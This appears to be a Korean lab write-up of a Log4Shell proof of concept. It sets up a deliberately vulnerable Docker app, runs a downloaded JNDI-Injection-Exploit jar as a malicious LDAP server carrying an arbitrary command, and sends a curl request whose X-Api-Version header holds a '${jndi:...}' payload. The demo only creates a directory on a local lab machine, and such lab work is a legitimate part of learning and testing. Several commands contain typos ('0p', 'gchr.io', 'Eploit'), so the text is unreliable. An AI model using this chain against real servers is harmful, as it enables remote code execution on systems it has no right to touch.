취약점이 있는 웹 서비스를 구동하기 위해서는 도커가 필요하다.
systemctl status docker
도커 명령어를 통해 위의 깃허브 주소에 있는 서비스를 구동한다.
docker run —name vulnerable-app 0p 8080:8080 gchr.io/christophetd/log4shell-vulnerable-app
해당 명령어를 실행하면 도커 이미지가 다운로드 되어 8080 포트로 서비스된다.
아래의 명령어를 통해 깃허브의 LDAP서버를 구동하기 위한 jar 파일을 다운받을 수 있다.
wget https://github.com/welk1n/JNDI-Injection-Eploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
아래의 명령어를 통해 다운받은 jar 파일을 통해 LDAP 서버를 구동할 수 있다.
LDAP 서버를 호출할 시에 수행하고자 하는 명령을 특정 IP에서 수행한다.
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C ["수행하고자 하는 명령어"] -A [IP]
아래의 명령어는 취약서버(리눅스 IP)에 taein이라는 디렉토리를 만드는 명령어 이다.
본 POC는 아래의 명령어로 진행하였다.
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "mkdir /home/taein" -A 192.168.137.129
사용자 상호 작용 없이 작동하는 서버로 데이터를 전송할 수 있는 리눅스의 curl 명령어를 통해 취약서버로 요청을 보낸다.
이 때 취약서버의 자바 버전을 파악하고 해당 버전과 일치하는 부분의 ldap 주소를 이용하여 요청을 보내야 한다.(위의
아래의 명령어는 HTTP 헤더 중 하나인 X-Api-Version에 명령을 추가하여 요청하는 것이다.
curl [취약서버IP:8080] -H 'X-Api-Version: ${jndi:[위의 LDAP사진에서 보라색으로 드래그 한 부분]}’
이는 취약서버가 X-Api-Version에 대해 로깅을 진행하기 때문에 취약점이 발생하기 때문이다.
위의 명령어를 입력하게 되면 취약 서버에서 별다른 입력값 검증 없이 X-Api-Version을 로깅하게 되고 이 과정에서 LDAP 서버를 호출하게 된다.
LDAP 서버를 호출하게 되면 LDAP 서버를 구동할 때 입력했던 명령어가 실행되게 되는 것이다.(본 POC에서는 taein이라는 이름의 디렉토리를 생성하는 것이다.)
사진의 가운데 부분의 curl 명령어를 입력하면 사진의 하단 취약서버에 요청이 들어왔음을 확인할 수 있다.
취약서버를 구동하고 있는 도커의 쉘에 접속하여 공격자가 의도한 mkdir 명령어가 성공했는지 확인해 볼 수 있다.
docker exec -it vulnerable-app /bin/sh
위의 명령어를 통해 도커의 쉘에 접속할 수 있다.
사진속의 명령어를 입력하면 home 디렉토리에 taein이라는 디렉토리가 생성된 것을 확인할 수 있다.
made by 태인